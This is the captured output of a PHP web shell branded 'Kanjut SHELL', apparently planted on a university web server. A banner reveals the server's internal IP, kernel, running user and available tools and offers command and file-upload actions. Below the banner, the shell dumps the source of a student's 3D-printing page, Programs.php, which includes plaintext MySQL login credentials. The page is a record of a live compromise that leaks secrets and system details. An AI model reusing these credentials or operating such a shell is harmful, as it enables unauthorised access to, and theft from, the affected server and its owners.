Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.15.228.32
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/../kfmurray/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../kfmurray/public_html/Programs.php
<!-- File Name: Programs.php -->

<style>
ul {
    list-style-type: none;
    margin: 0;
    padding: 0;
    overflow: hidden;
    background-color: MidnightBlue;
}

li {
    float: left;
}

li a {
    display: block;
    color: white;
    text-align: center;
    padding: 14px 28px;
    text-decoration: none;
}

li a:hover {
    background-color: DeepSkyBlue;
}
</style>
<body>

<ul>
   <li><a class="active" href="CS489HomePage.html">Home</a></li>
  <li><a href="3DPrinting.html">3DPrinting</a></li>
  <li><a href="Programs.html">Programs</a></li>
  <li><a href="Printers.html">Printers</a></li>
  <li><a href="Materials.html">Materials</a></li>
  <li><a href="Pictures.html">Pictures</a></li>
   <li><a href="Opportunities.php">Opportunities</a></li>
  <li><a href="Involved.html">Why be involved?</a></li>
  <li><a href="User.html">Save Information</a></li>
  <li><a href="UpdateLogin.html">Add Reference</a></li>
</ul>
</body>

<style>
body {
       background-color:#8080ff;
}
</style>
<CENTER>
<?php
      session_start();
      
      $answer = $_POST['programs'];
     
      if(is_null($answer))
      {
?>
            <FONT size=4>
            <P>
            Nothing selected!
           </FONT>
<?php
         }

      else if($answer == "programs")
      {
        print "<H2> 3D Design Programs </H2>";
        Print "<HR><P>";
        print "There are different levels and types of 3D design programs to use in creating your 3-dimensional object.<P>";
        print "Beginner level programs already have designed shapes to use when building your model. You can select different shapes to use in your model.<P>";
        print "Intermediate level programs involve some programming to create the shapes as well as building your model.<P>";
        print "Professional level programs are really advance and involve lots of skill.<P>";  
        print "You should start with beginner level. Intermediate level is also possible for you to use when ready to advance.<P>";
        print "Professional level is here for your reference.<P>";
        print "Note that the ideas of what to make are limitless. Keep in mind that the more complex your object's structure and geometry is, you will need to use a higher and more
        advance type of  program.<P>";
        print "You can use most of all programs for each level type to make your object in that specific level depending on your object.<P>";
        print "For each level, there are some programs that are more flexible than others.<P>";
        print "Meaning that all programs can't be used to make every single object you want to make. To know which program to use, depends on the object you want to make.<P>";
        print "To give an idea of some level objects, some beginner objects include: a blackboard, a medallion, puzzle piece. Some intermediate type of objects include:
        a snowman, tophat, a mug.<P>";
        print "Most of the time, you will have to play around with the programs to see what it can do to decide if it is a good fit in designing your object.<P>"; 
        print "Use the selection list to select level of programs to search.<P>";
        
       $_SESSION['program'] = $answer;
?>
        <FORM action=ProgramAbout.php method=post>
        <select name=level>
        <option> </option>
        <option> Beginner </option>
        <option> Intermediate </option>
        <option> Professional </option>
        </select>
        <P>
        <INPUT type=submit value=Submit>
        <INPUT type=reset value=Reset>
        </FORM>
<?php
       }
  
       else
       {
?>
         <FORM action=ProgramAbout.php method=post>
<?php
         print "<P>The names of some slicing programs are shown below.<P>";
         print "You can enter a program name below for searching.<P>";
        print "Note: If your 3D printer comes with its own slicing software program then you can not use any other programs for slicing. If
        your printer has its own slicing software, the slicing software might be in the list of names below.";
        print "<P> You can use other slicing software if your printer doesn't has its own software. Most printers have its own software.<P>";
            
         $_SESSION['program'] = $answer;
     
         $host = 'localhost'; 
         $user = 'kfmurray'; 
         $pass = 'cs480';
         $database = 'kfmurray';
         $connect = mysqli_connect($host, $user, $pass);
         $query = "select Name from Slicers";
          mysqli_select_db($connect, $database);
          $result_id = mysqli_query($connect, $query);
          if($result_id)
           {
              print '<table border=1>';
              print '<TH> Name';
              while($row = mysqli_fetch_row($result_id))
              {
                  print '<TR>';
                  foreach ($row as $field)
                  print "<TD> $field </TD> ";        
                  print '</TR>';
              }
                print '</table>';           
           }
          mysqli_close($connect);
?>
          
        <P> Enter name of program here <INPUT type=textbox name=name>
          <P>
          <INPUT type=submit value=Submit>
          <INPUT type=reset value=Reset>
          </FORM>
<?php
         }
?>
</CENTER>


Stv3n404 - 2023